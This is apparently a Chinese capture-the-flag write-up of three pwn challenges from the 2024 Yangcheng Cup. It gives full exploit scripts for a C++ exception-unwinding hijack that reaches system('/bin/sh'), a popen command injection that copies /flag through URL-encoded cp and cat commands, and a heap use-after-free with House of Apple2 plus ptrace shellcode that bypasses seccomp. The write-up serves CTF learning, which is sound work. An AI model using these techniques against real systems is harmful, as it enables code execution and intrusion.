2024羊城杯初赛 参考自两位大佬: 2024羊城杯PWN详细全解 - 先知社区 和 羊城杯2024预赛 - rot’s Blog
logger 有关C语言异常捕获机制的一道题。
首先查看保护,存在canary,但是没开启pie。
分析main函数,主要是菜单的两个操作,一个Trace
,一个Warn
。
Trace代码如下:
分析发现,在循环向byte_404020
中写入时,一共循环写入了9次,而该数组大小为16*8 = 128,因此当最后这一次循环时会溢出覆盖掉src,这里的src在下边会用到。
Warn代码如下:
Warn中read存在明显的栈溢出,但是因为开启了PIE,所以没法直接利用,这时候就需要使用异常处理函数 了。
C++异常处理函数 C++的异常处理机制有三个关键字:throw 、try 和catch 。
其中throw是抛出异常、try包含异常模块、catch捕获抛出的异常。
简单例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include <iostream> using namespace std ; double Div (int a,int b) { if (b==0 ){ throw "除数为0!" ; } return (double )a/b; } int main () { try{ double res = Div(3 ,0 ); cout << res << endl ; }catch(const char * msg){ cout << msg << endl ; } }
上述代码会输出除数为0!,即程序会捕获到异常并执行catch里的异常处理逻辑。
补充 :在编译C++代码的时候,编译器会将throw替换成__CxxRTThrowExp
这类指定函数,通常与 __cxa_allocate_exception
和 __cxa_throw
等函数配合使用,完成分配、初始化、抛出异常的操作。__cxa_allocate_exception
:是一个内部的 C++ 异常处理函数,用于在抛出异常时分配内存 以存储异常对象;它会与__cxa_throw
相互配合,__cxa_throw
函数在调用时会使用 __cxa_allocate_exception
来分配内存,然后复制异常对象到分配的内存中,并设置适当的异常处理上下文。异常对象处理完后就会使用__cxa_free_exception
来释放内存。
我们知道异常抛出过后会被catch捕捉,但是要是当前函数里面没有catch,那么就会沿函数的调用链继续找catch 。要是没有catch那么程序就会调用abort中止。
继续分析Warn函数,查看汇编,发现Warn函数在可能抛出异常的地方使用了try但是并没有catch语句来处理异常,因此异常正常会被向上抛出寻求main函数处理,接下来会去寻找main函数中的catch块(如下):
当捕获到异常时,编译器处理流程如下:
调用 __cxa_allocate_exception 函数,分配一个异常对象。
调用 __cxa_throw 函数,这个函数会将异常对象做一些初始化。
__cxa_throw() 调用 Itanium ABI 里的 _Unwind_RaiseException() 从而开始 unwind。
_Unwind_RaiseException() 对调用链上的函数进行 unwind 时,调用 personality routine。
该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。
_Unwind_RaiseException() 将控制权转到相应的catch代码。
unwind 完成,用户代码继续执行。
这里不再详述,对应的就是上述main函数中的catch块后边的处理逻辑。
利用思路 既然Warn函数中没有catch块,那么他会通过_Unwind_Resume
回抛到上一级main
函数求寻找main函数中的catch块(如上)。
所以,在Warn中,try的下方存在call _Unwind_Resume
,程序通过它跳到main函数的catch处执行(如下),之后再通过main的catch块中的call _Unwind_Resume
去恢复到原来mian函数的执行上下文,即执行菜单函数。
因此,如果通过栈溢出修改Warn的返回地址为catch_2的话,就会执行catch_2处的后门system函数。
catch_2代码如下:
修改前后内存对比如下:
修改前:
修改后:
至于为什么修改返回地址会修改它call _Unwind_Resume
的时候寻找到的catch,我的理解是它寻找catch的方法是从返回地址处往后找第一个catch即为要处理的catch 。
修改前catch处汇编代码:
他从warn的返回地址处一直向下找,找到0x401A64处匹配的catch就把该catch作为异常处理函数了。
修改后catch处汇编代码:
我们把warn返回地址修改成下边的另一个try_catch处,0x401bc3(执行特性,不可能下一条执行地址和你当前地址一样,其实是0x401bc3-0x401bc7都可以 ),他就会向下寻找找到0x401BC7处的catch作为异常处理函数,进而可以执行里边的system函数。
接下来就是最后一步,system的参数问题,可知system的rdi来自于上边call ___cxa_begin_catch
结束后的rax,而rax一般是存储异常对象的指针,也就是前边的src,因此前边溢出控制src = bin/sh即可getshell。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *p = process('./pwn' ) elf = ELF('./pwn' ) catch = 0x401BC3 bss=0x404100 def trace (data,choice ): p.recvuntil(b'Your chocie:' ) p.sendline(b'1' ) p.recvuntil(b'You can record log details here: ' ) p.send(data) p.recvuntil(b'Do you need to check the records? ' ) p.sendline(choice) def warn (data ): p.recvuntil(b'Your chocie:' ) p.sendline(b'2' ) p.recvuntil(b'[!] Type your message here plz: ' ) p.send(data) for i in range (8 ): trace(b'a' *0x10 ,b'n' ) trace(b'/bin/sh' +b'\x00' *9 ,b'y' ) pay = b'a' * 0x70 + p64(0x404500 ) + p64(catch) //注意这里的rbp需要修改为一个可写地址,不然会报错,具体原因不太清楚。这里修改成bss段 warn(pay) p.interactive()
httpd popen函数 1 FILE *popen (const char *command, const char *mode) ;
popen
函数是 C 标准库中的一个函数,通常用于创建一个进程来执行一个命令,并返回一个管道,用于与这个进程进行通信。
该函数相当于system,能进行命令执行。
如图所示:
因为ls
是有回显的,所以需要后续进行输出才能回显,但是其他的没有回显的指令是可以直接执行到,如cp
以及mv
或者cat xx > yy
重定向等。
如图所示:
题目分析 前面都是web的头,直接抓包格式就可以直接拿到
如图所示:
part1:
part2:
part3:
分析可知,协议头一共有如下几个部分:
url路径 + “HTTP/1.0”
Host + ip地址
Content-Length: num
之后,是对输入的url进行URL_code操作,即进行url解码。
之后,调用check对输入的url进行过滤,过滤内容如下:
最后,对过滤完的url直接调用了popen(url)处理。
由上述过滤分析可知,只是过滤了bin,sh和一些连接字符,因此可以使用cp命令进行绕过,将flag cp到test.html目录下,之后直接访问flag。(这里为什么不能直接访问flag呢,是因为后边对popen的返回结果进行了判断,判断为目录还是文件,只有当是目录的时候才能正常访问,所以需要把flag文件cp或重定向到test.html目录下)
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from pwn import *//p = remote('' ,) //移动flag payload='get ' +'/cp%20/flag%20/home/ctf/html' +' HTTP/1.0' //cp flag /home/ctf/html //或 payload='get ' +'/cat%20/flag%20%3e/home/ctf/html' +' HTTP/1.0' //cat flag > /home/ctf/html p.sendline(payload) p.sendline('Host: ' +'192.168.0.1' ) p.sendline('Content-Length: ' +'0' ) p.close() //读取flag payload='get ' +'/flag' +' HTTP/1.0' p.sendline(payload) p.sendline('Host: ' +'192.168.0.1' ) p.sendline('Content-Length: ' +'0' ) p.interactive()
hard+sandbox 2.36版本常规io题,存在uaf漏洞。
难点在于绕过沙盒的限制,但是这里open和openat都禁用,并且固定执行环境,很难通过平替函数或者篡改cs切换执行环境来执行open函数。
只能考虑使用ptrace去hook->seccomp
ptrace 系统调用概述 1 2 3 4 5 6 7 8 9 10 int ptrace (enum __ptrace_request request, pid_t pid, void *addr, void *data) ;
先fork开启一个子进程,
如果 pid
为 0,表示当前代码块是在子进程中执行的,否则是在父进程中执行的
然后使用ptrace附加选项(PTRACE_ATTACH)附加到子进程
调用 wait
函数等待子进程停止。此时子进程将会被暂停,父进程能够对其进行进一步操作。
接下来对seccomp设置子进程的监控选项,PTRACE_O_TRACESECCOMP
使得父进程能够接收到 seccomp
触发的信号。
然后继续执行子进程PTRACE_CONT
等待 seccomp 触发 wait(NULL);
父进程会在这里阻塞,直到接收到子进程的 seccomp
触发事件。
这个时候子进程会触发seccomp然后,在父进程中对他进行hook处理,完成绕过
只需要将C语言代码转换为汇编执行就行。
这里也是直接用的House of apple2中的方法3。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 from pwn import *from ctypes import *from LibcSearcher import *import pwnlib.shellcraft as scu64_Nofix=lambda p:u64(p.recvuntil(b'\n' )[:-1 ].ljust(8 ,b'\x00' )) u64_fix=lambda p:u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) u64_8bit=lambda p:u64(p.recv(8 )) def int_fix (p,count=12 ): p.recvuntil(b'0x' ) return int (p.recv(count),16 ) p=process('./pwn' ) elf=ELF('./pwn' ) libc=ELF('./libc.so.6' ) def command (option ): p.recvuntil(b'>' ) p.sendline(bytes (str (option),'utf-8' )) def create (idx,Size ): command(1 ) p.recvuntil(b'Index' ) p.sendline(bytes (str (idx),'utf-8' )) p.recvuntil(b'Size' ) p.sendline(bytes (str (Size),'utf-8' )) def free (id ): command(2 ) p.recvuntil(b'Index' ) p.sendline(bytes (str (id ),'utf-8' )) def edit (id ,Content ): command(3 ) p.recvuntil(b'Index' ) p.sendline(bytes (str (id ),'utf-8' )) p.recvuntil(b'Content' ) p.send(Content) def show (id ): command(4 ) p.recvuntil(b'Index' ) p.sendline(bytes (str (id ),'utf-8' )) context.arch='amd64' create(0 ,0x500 ) create(1 ,0x520 ) create(2 ,0x510 ) create(3 ,0x520 ) free(2 ) create(4 ,0x520 ) show(2 ) libc_add=u64_fix(p) libcbase=libc_add-0x1f70f0 success('libcbase ' +hex (libcbase)) edit(2 ,b'a' *(0x10 -1 )+b'A' ) show(2 ) p.recvuntil(b'A' ) heap_add=u64_Nofix(p) success('heap_add ' +hex (heap_add)) edit(2 ,p64(libc_add)*2 ) IO_list_all=libcbase+0x1f7660 IO_wfile_jumps=libcbase+0x1f30a0 success('IO_wfile_jumps ' +hex (IO_wfile_jumps)) success('IO_wfile_jumps ' +hex (IO_list_all)) setcontextadd=libcbase+libc.sym['setcontext' ] ret=libcbase+0x00000000000233d1 fakeIO_add=heap_add-0xa40 orw_add=fakeIO_add+0xe0 +0x50 A=fakeIO_add+0x40 B=fakeIO_add+0xe8 +0x40 -0x68 C=fakeIO_add gg=libcbase+0x000000000005e5b0 leave_ret=libcbase+0x0000000000050877 fake_IO=b'' fake_IO=fake_IO.ljust(0x18 ,b'\x00' ) fake_IO+=p64(1 ) fake_IO=fake_IO.ljust(0x68 ,b'\x00' ) fake_IO+=p64(orw_add-0x8 ) fake_IO=fake_IO.ljust(0x78 ,b'\x00' ) fake_IO+=p64(fakeIO_add) fake_IO=fake_IO.ljust(0x90 ,b'\x00' ) fake_IO+=p64(A) fake_IO+=p64(leave_ret) fake_IO=fake_IO.ljust(0xc8 ,b'\x00' ) fake_IO+=p64(IO_wfile_jumps) fake_IO+=p64(orw_add)+p64(ret)+p64(0 )+p64(setcontextadd+61 )+b'\x00' *0x20 fake_IO+=p64(B)+p64(gg) mprotect=libcbase+libc.sym['mprotect' ] rdi_ret=libcbase+0x0000000000023b65 rsi_ret=libcbase+0x00000000000251be rdx_rbx_ret=libcbase+0x000000000008bcd9 NR_fork=57 NR_ptrace=101 NR_wait=61 PTRACE_ATTACH=16 PTRACE_SETOPTIONS = 0x4200 PTRACE_O_TRACESECCOMP = 0x00000080 PTRACE_CONT = 7 PTRACE_DETACH=17 shellcode2 = f''' main: /*fork()*/ push {NR_fork} pop rax syscall push rax pop rbx test rax,rax jz child_code /*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/ xor r10, r10 xor edx, edx mov rsi,rbx mov rdi,{PTRACE_ATTACH} push {NR_ptrace} pop rax syscall /* wait child */ xor rdi, rdi push {NR_wait} pop rax syscall /* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */ mov r10,{PTRACE_O_TRACESECCOMP} xor rdx, rdx mov rsi,rbx mov rdi, 0x4200 push {NR_ptrace} pop rax syscall js error /* ptrace(PTRACE_CONT, pid, NULL, NULL) */ xor r10,r10 xor rdx,rdx mov rsi,rbx mov rdi, {PTRACE_CONT} /* PTRACE_CONT */ push {NR_ptrace} pop rax syscall js error /* Wait seccomp */ xor rdi, rdi push {NR_wait} pop rax syscall xor r10,r10 xor rdx,rdx mov rsi,rbx mov rdi,{PTRACE_DETACH} push {NR_ptrace} pop rax syscall jmp end child_code: {shellcraft.open ('./flag' )} {shellcraft.sendfile(1 ,3 ,0 ,0x100 )} error: /* exit */ xor rdi, rdi mov rax, 60 syscall end: nop ''' orw=p64(rdi_ret)+p64(fakeIO_add-(fakeIO_add&0xfff ))+p64(rsi_ret)+p64(0x5000 ) orw+=p64(rdx_rbx_ret)+p64(7 )*2 +p64(mprotect)+p64(orw_add+0x48 ) orw+=asm(shellcode2) payload=fake_IO+orw edit(0 ,payload) free(0 ) edit(2 ,p64(heap_add)*2 +p64(0 )+p64(IO_list_all-0x20 )) create(10 ,0x600 ) gdb.attach(p) pause() command(5 ) p.interactive()